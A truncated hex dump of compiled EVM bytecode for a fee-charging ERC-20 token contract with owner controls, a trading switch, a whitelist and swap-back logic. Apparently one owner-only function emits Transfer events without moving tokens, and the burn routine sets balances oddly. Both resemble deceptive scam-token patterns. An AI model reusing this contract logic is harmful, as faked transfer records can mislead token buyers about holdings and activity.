7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200089a565b905092915050565b6000620009fb8262000986565b915062000a088362000986565b925082820262000a188162000986565b9150828204841483151762000a325762000a3162000803565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a6b8262000a3e565b9050919050565b62000a7d8162000a5e565b811462000a8957600080fd5b50565b60008151905062000a9d8162000a72565b92915050565b60006020828403121562000abc5762000abb62000a39565b5b600062000acc8482850162000a8c565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b5757607f821691505b60208210810362000b6d5762000b6c62000b0f565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000bd77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b98565b62000be3868362000b98565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000c2662000c2062000c1a8462000986565b62000bfb565b62000986565b9050919050565b6000819050919050565b62000c428362000c05565b62000c5a62000c518262000c2d565b84845462000ba5565b825550505050565b600090565b62000c7162000c62565b62000c7e81848462000c37565b505050565b5b8181101562000ca65762000c9a60008262000c67565b60018101905062000c84565b5050565b601f82111562000cf55762000cbf8162000b73565b62000cca8462000b88565b8101602085101562000cda578190505b62000cf262000ce98562000b88565b83018262000c83565b50505b505050565b600082821c905092915050565b600062000d1a6000198460080262000cfa565b1980831691505092915050565b600062000d35838362000d07565b9150826002028217905092915050565b62000d508262000ad5565b67ffffffffffffffff81111562000d6c5762000d6b62000ae0565b5b62000d78825462000b3e565b62000d8582828562000caa565b600060209050601f83116001811462000dbd576000841562000da8578287015190505b62000db4858262000d27565b86555062000e24565b601f19841662000dcd8662000b73565b60005b8281101562000df75784890151825560018201915060208501945060208101905062000dd0565b8683101562000e17578489015162000e13601f89168262000d07565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e75601f8362000e2c565b915062000e828262000e3d565b602082019050919050565b6000602082019050818103600083015262000ea88162000e66565b9050919050565b600062000ebc8262000986565b915062000ec98362000986565b925082820190508082111562000ee45762000ee362000803565b5b92915050565b62000ef58162000986565b82525050565b600060208201905062000f12600083018462000eea565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000f5060208362000e2c565b915062000f5d8262000f18565b602082019050919050565b6000602082019050818103600083015262000f838162000f41565b9050919050565b6080516142a762000fbb60003960008181610c7a0152818161285f01528181612940015261297d01526142a76000f3fe60806040526004361061021e5760003560e01c806389291a8f11610123578063c8c8ebe4116100ab578063e2f456051161006f578063e2f4560514610780578063f1ac4328146107ab578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c8c8ebe4146106ab578063c9567bf9146106d6578063cf9522fd146106ed578063dd62ed3e14610718578063dd8546521461075557610225565b8063a457c2d7116100f2578063a457c2d7146105b6578063a9059cbb146105f3578063afa4f3b214610630578063b18834aa14610659578063c2b7bbb61461068257610225565b806389291a8f146105205780638da5cb5b1461053757806395d89b41146105625780639a7a23d61461058d57610225565b80633be6e637116101a657806370a082311161017557806370a0823114610475578063715018a6146104b2578063751039fc146104c95780637571336a146104e05780637d16a7211461050957610225565b80633be6e637146103cd57806342966c68146103f6578063583e05681461041f5780636ddd17131461044a57610225565b806318160ddd116101ed57806318160ddd146102d257806323b872dd146102fd578063311028af1461033a578063313ce56714610365578063395093511461039057610225565b806306fdde031461022a578063095ea7b3146102555780630f054c06146102925780631111f43f146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612baf565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c79565b6108f9565b6040516102899190612cd4565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102d060048036038101906102cb9190612e63565b610a6d565b005b3480156102de57600080fd5b506102e7610b72565b6040516102f49190612ece565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f9190612ee9565b610b7c565b6040516103319190612cd4565b60405180910390f35b34801561034657600080fd5b5061034f610bab565b60405161035c9190612ece565b60405180910390f35b34801561037157600080fd5b5061037a610bb1565b6040516103879190612f58565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190612c79565b610bba565b6040516103c49190612cd4565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef9190612f73565b610bf1565b005b34801561040257600080fd5b5061041d60048036038101906104189190612fb3565b610c5c565b005b34801561042b57600080fd5b50610434610c78565b604051610441919061303f565b60405180910390f35b34801561045657600080fd5b5061045f610c9c565b60405161046c9190612cd4565b60405180910390f35b34801561048157600080fd5b5061049c6004803603810190610497919061305a565b610caf565b6040516104a99190612ece565b60405180910390f35b3480156104be57600080fd5b506104c7610cf7565b005b3480156104d557600080fd5b506104de610d0b565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613087565b610d30565b005b34801561051557600080fd5b5061051e610d93565b005b34801561052c57600080fd5b50610535610db8565b005b34801561054357600080fd5b5061054c610e4c565b60405161055991906130d6565b60405180910390f35b34801561056e57600080fd5b50610577610e76565b6040516105849190612baf565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190613087565b610f08565b005b3480156105c257600080fd5b506105dd60048036038101906105d89190612c79565b610fae565b6040516105ea9190612cd4565b60405180910390f35b3480156105ff57600080fd5b5061061a60048036038101906106159190612c79565b611025565b6040516106279190612cd4565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612fb3565b611048565b005b34801561066557600080fd5b50610680600480360381019061067b919061314c565b611078565b005b34801561068e57600080fd5b506106a960048036038101906106a4919061305a565b611155565b005b3480156106b757600080fd5b506106c06111a1565b6040516106cd9190612ece565b60405180910390f35b3480156106e257600080fd5b506106eb6111a7565b005b3480156106f957600080fd5b506107026111cc565b60405161070f9190612ece565b60405180910390f35b34801561072457600080fd5b5061073f600480360381019061073a91906131ac565b6111d2565b60405161074c9190612ece565b60405180910390f35b34801561076157600080fd5b5061076a611259565b6040516107779190612ece565b60405180910390f35b34801561078c57600080fd5b5061079561125f565b6040516107a29190612ece565b60405180910390f35b3480156107b757600080fd5b506107d260048036038101906107cd919061305a565b611265565b6040516107df9190612cd4565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a919061305a565b6112bb565b005b34801561081d57600080fd5b5061082661133e565b6040516108339190612ece565b60405180910390f35b34801561084857600080fd5b50610851611344565b60405161085e9190612cd4565b60405180910390f35b6060600480546108769061321b565b80601f01602080910402602001604051908101604052809291908181526020018280546108a29061321b565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611357565b905061091181858561135f565b600191505092915050565b610924611528565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161096491906130d6565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a59190613261565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132da565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132fa565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613338565b505050565b610a75611528565b60005b8251811015610b6d578160016000858481518110610a9957610a98613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610b0557610b04613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610b529190612cd4565b60405180910390a28080610b65906133c3565b915050610a78565b505050565b6000600354905090565b600080610b87611357565b9050610b948582856115a6565b610b9f858585611632565b60019150509392505050565b60115481565b60006009905090565b600080610bc5611357565b9050610be6818585610bd785896111d2565b610be1919061340b565b61135f565b600191505092915050565b610bf9611528565b60148211158015610c0b575060328111155b610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c419061348b565b60405180910390fd5b81601381905550806012819055505050565b610c64611528565b610c75610c6f611357565b82611f8e565b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b601460009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cff611528565b610d096000612163565b565b610d13611528565b6000610d1d610b72565b905080600f8190555080600e8190555050565b610d38611528565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610d9b611528565b6001601460006101000a81548160ff021916908315150217905550565b610dc0611528565b60004711610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa906134f7565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e49573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e859061321b565b80601f0160208091040260200160405190810160405280929190818152602001828054610eb19061321b565b8015610efe5780601f10610ed357610100808354040283529160200191610efe565b820191906000526020600020905b815481529060010190602001808311610ee157829003601f168201915b5050505050905090565b610f10611528565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9790613589565b60405180910390fd5b610faa8282612229565b5050565b600080610fb9611357565b90506000610fc782866111d2565b90508381101561100c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110039061361b565b60405180910390fd5b611019828686840361135f565b60019250505092915050565b600080611030611357565b905061103d818585611632565b600191505092915050565b611050611528565b611058610bb1565b600a611064919061376e565b8161106f91906137b9565b60108190555050565b611080611528565b60005b8383905081101561114f578383828181106110a1576110a0613365565b5b90506020020160208101906110b6919061305a565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111349190612ece565b60405180910390a38080611147906133c3565b915050611083565b50505050565b61115d611528565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b6111af611528565b6001601460016101000a81548160ff021916908315150217905550565b60125481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60135481565b60105481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6112c3611528565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113299061386d565b60405180910390fd5b61133b81612163565b50565b600e5481565b601460019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c5906138ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490613991565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151b9190612ece565b60405180910390a3505050565b611530611357565b73ffffffffffffffffffffffffffffffffffffffff1661154e6122ca565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b906139fd565b60405180910390fd5b565b60006115b284846111d2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461162c578181101561161e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161590613a69565b60405180910390fd5b61162b848484840361135f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169890613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170790613b8d565b60405180910390fd5b43601781905550600081036117305761172b838360006122de565b611f89565b611738610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a65750611776610e4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117df5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611819575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118325750600d60149054906101000a900460ff16155b15611bac57601460019054906101000a900460ff1661192c57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ec5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61192b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192290613bf9565b60405180910390fd5b5b601754600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a155750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611abc57600f54811115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613cb1565b60405180910390fd5b600e54611a6b83610caf565b82611a76919061340b565b1115611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90613d1d565b60405180910390fd5b611bab565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b5f5750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611baa57600f54811115611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613daf565b60405180910390fd5b5b5b5b6000611bb730610caf565b905060008082119050808015611bd95750601460009054906101000a900460ff165b8015611bf25750600d60149054906101000a900460ff16155b8015611c485750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c9e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cf45750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d39576001600d60146101000a81548160ff021916908315150217905550611d1d83612554565b6000600d60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dd35750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460175411155b15611de257611de1856126e6565b5b6000600d60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e975750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ea157600090505b60008115611f7957601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f2a57611f236064611f1560125488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b9050611f55565b611f526064611f4460135488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b90505b6000811115611f6a57611f698730836122de565b5b8085611f769190613dcf565b94505b611f848787876122de565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490613e75565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207a90613f07565b60405180910390fd5b816007546120919190613dcf565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546120e59190613dcf565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214a9190612ece565b60405180910390a361215e83600084612a61565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000806122d5612a66565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361234d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234490613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b390613b8d565b60405180910390fd5b6123c7838383612b0e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561244d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244490613f99565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161253b9190612ece565b60405180910390a361254e848484612a61565b50505050565b600061255f30610caf565b905060008082036125715750506126e3565b6000601254601354612583919061340b565b036125ff57600082118015612599575060105482105b156125a6578190506125fa565b60006125d060646125c260125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846125de9190613dcf565b93506010548411156125f45760105491506125f8565b8391505b505b6126d7565b60008211801561262357506126206005601054612a4b90919063ffffffff16565b82105b1561262f5750506126e3565b60008211801561265357506126506005601054612a4b90919063ffffffff16565b82115b8015612660575060105482105b156126825761267b6005601054612a4b90919063ffffffff16565b90506126d6565b60006126ac606461269e60125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846126ba9190613dcf565b93506010548411156126d05760105491506126d4565b8391505b505b5b6126e0816126e6565b50505b50565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127c057612780600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b13565b6127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b69061402b565b60405180910390fd5b5b6000600267ffffffffffffffff8111156127dd576127dc612cf4565b5b60405190808252806020026020018201604052801561280b5781602001602082028036833780820191505090505b509050308160008151811061282357612822613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ec9190614060565b81600181518110612900576128ff613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061297b307f00000000000000000000000000000000000000000000000000000000000000008473ffffffffffffffffffffffffffffffffffffffff1661135f565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129ff9594939291906141b7565b600060405180830381600087803b158015612a1957600080fd5b505af1158015612a2d573d6000803e3d6000fd5b505050505050565b60008183612a4391906137b9565b905092915050565b60008183612a599190614240565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ae557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b09565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b59578082015181840152602081019050612b3e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b8182612b1f565b612b8b8185612b2a565b9350612b9b818560208601612b3b565b612ba481612b65565b840191505092915050565b60006020820190508181036000830152612bc98184612b76565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1082612be5565b9050919050565b612c2081612c05565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b6000819050919050565b612c5681612c43565b8114612c6157600080fd5b50565b600081359050612c7381612c4d565b92915050565b60008060408385031215612c9057612c8f612bdb565b5b6000612c9e85828601612c2e565b9250506020612caf85828601612c64565b9150509250929050565b60008115159050919050565b612cce81612cb9565b82525050565b6000602082019050612ce96000830184612cc5565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d2c82612b65565b810181811067ffffffffffffffff82111715612d4b57612d4a612cf4565b5b80604052505050565b6000612d5e612bd1565b9050612d6a8282612d23565b919050565b600067ffffffffffffffff821115612d8a57612d89612cf4565b5b602082029050602081019050919050565b600080fd5b6000612db3612dae84612d6f565b612d54565b90508083825260208201905060208402830185811115612dd657612dd5612d9b565b5b835b81811015612dff5780612deb8882612c2e565b845260208401935050602081019050612dd8565b5050509392505050565b600082601f830112612e1e57612e1d612cef565b5b8135612e2e848260208601612da0565b91505092915050565b612e4081612cb9565b8114612e4b57600080fd5b50565b600081359050612e5d81612e37565b92915050565b60008060408385031215612e7a57612e79612bdb565b5b600083013567ffffffffffffffff811115612e9857612e97612be0565b5b612ea485828601612e09565b9250506020612eb585828601612e4e565b9150509250929050565b612ec881612c43565b82525050565b6000602082019050612ee36000830184612ebf565b92915050565b600080600060608486031215612f0257612f01612bdb565b5b6000612f1086828701612c2e565b9350506020612f2186828701612c2e565b9250506040612f3286828701612c64565b9150509250925092565b600060ff82169050919050565b612f5281612f3c565b82525050565b6000602082019050612f6d6000830184612f49565b92915050565b60008060408385031215612f8a57612f89612bdb565b5b6000612f9885828601612c64565b9250506020612fa985828601612c64565b9150509250929050565b600060208284031215612fc957612fc8612bdb565b5b6000612fd784828501612c64565b91505092915050565b6000819050919050565b6000613005613000612ffb84612be5565b612fe0565b612be5565b9050919050565b600061301782612fea565b9050919050565b60006130298261300c565b9050919050565b6130398161301e565b82525050565b60006020820190506130546000830184613030565b92915050565b6000602082840312156130705761306f612bdb565b5b600061307e84828501612c2e565b91505092915050565b6000806040838503121561309e5761309d612bdb565b5b60006130ac85828601612c2e565b92505060206130bd85828601612e4e565b9150509250929050565b6130d081612c05565b82525050565b60006020820190506130eb60008301846130c7565b92915050565b600080fd5b60008083601f84011261310c5761310b612cef565b5b8235905067ffffffffffffffff811115613129576131286130f1565b5b60208301915083602082028301111561314557613144612d9b565b5b9250929050565b60008060006040848603121561316557613164612bdb565b5b600084013567ffffffffffffffff81111561318357613182612be0565b5b61318f868287016130f6565b935093505060206131a286828701612c64565b9150509250925092565b600080604083850312156131c3576131c2612bdb565b5b60006131d185828601612c2e565b92505060206131e285828601612c2e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061323357607f821691505b602082108103613246576132456131ec565b5b50919050565b60008151905061325b81612c4d565b92915050565b60006020828403121561327757613276612bdb565b5b60006132858482850161324c565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132c4601283612b2a565b91506132cf8261328e565b602082019050919050565b600060208201905081810360008301526132f3816132b7565b9050919050565b600060408201905061330f60008301856130c7565b61331c6020830184612ebf565b9392505050565b60008151905061333281612e37565b92915050565b60006020828403121561334e5761334d612bdb565b5b600061335c84828501613323565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006133ce82612c43565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613400576133ff613394565b5b600182019050919050565b600061341682612c43565b915061342183612c43565b925082820190508082111561343957613438613394565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b6000613475601683612b2a565b91506134808261343f565b602082019050919050565b600060208201905081810360008301526134a481613468565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134e1601683612b2a565b91506134ec826134ab565b602082019050919050565b60006020820190508181036000830152613510816134d4565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613573603983612b2a565b915061357e82613517565b604082019050919050565b600060208201905081810360008301526135a281613566565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613605602583612b2a565b9150613610826135a9565b604082019050919050565b60006020820190508181036000830152613634816135f8565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156136925780860481111561366e5761366d613394565b5b600185161561367d5780820291505b808102905061368b8561363b565b9450613652565b94509492505050565b6000826136ab5760019050613767565b816136b95760009050613767565b81600181146136cf57600281146136d957613708565b6001915050613767565b60ff8411156136eb576136ea613394565b5b8360020a91508482111561370257613701613394565b5b50613767565b5060208310610133831016604e8410600b841016171561373d5782820a90508381111561373857613737613394565b5b613767565b61374a8484846001613648565b9250905081840481111561376157613760613394565b5b81810290505b9392505050565b600061377982612c43565b915061378483612f3c565b92506137b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461369b565b905092915050565b60006137c482612c43565b91506137cf83612c43565b92508282026137dd81612c43565b915082820484148315176137f4576137f3613394565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613857602683612b2a565b9150613862826137fb565b604082019050919050565b600060208201905081810360008301526138868161384a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006138e9602483612b2a565b91506138f48261388d565b604082019050919050565b60006020820190508181036000830152613918816138dc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061397b602283612b2a565b91506139868261391f565b604082019050919050565b600060208201905081810360008301526139aa8161396e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139e7602083612b2a565b91506139f2826139b1565b602082019050919050565b60006020820190508181036000830152613a16816139da565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a53601d83612b2a565b9150613a5e82613a1d565b602082019050919050565b60006020820190508181036000830152613a8281613a46565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ae5602583612b2a565b9150613af082613a89565b604082019050919050565b60006020820190508181036000830152613b1481613ad8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f657373000